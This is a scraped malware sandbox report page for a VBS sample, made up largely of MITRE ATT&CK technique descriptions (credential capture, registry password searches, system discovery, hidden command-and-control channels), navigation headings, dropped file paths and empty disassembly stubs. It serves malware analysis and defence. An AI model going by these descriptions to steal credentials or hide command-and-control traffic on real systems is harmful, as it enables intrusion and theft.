Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report IMG_2022028022-0120.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\Bichloride.vbs

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2c4howsr.nhi.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5elcf2ed.d41.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ibfztpdx.ynr.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mufoeags.irm.psm1

\Device\ConDrv

Static File Info

General

File Icon

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Windows Analysis Report
IMG_2022028022-0120.vbs

Function 03227991 Relevance: 1.5, APIs: 1, Instructions: 17
threadCOMMON

Function 032279D3 Relevance: .1, Instructions: 131
COMMON

Function 0751D164 Relevance: 1.6, APIs: 1, Instructions: 128
pipeCOMMON

Function 07506C50 Relevance: 1.8, Strings: 1, Instructions: 502
COMMON

Function 07522709 Relevance: 1.7, APIs: 1, Instructions: 228
COMMON

Function 0751E53C Relevance: 1.6, APIs: 1, Instructions: 130
pipeCOMMON

Function 07516A20 Relevance: 1.6, APIs: 1, Instructions: 117
COMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre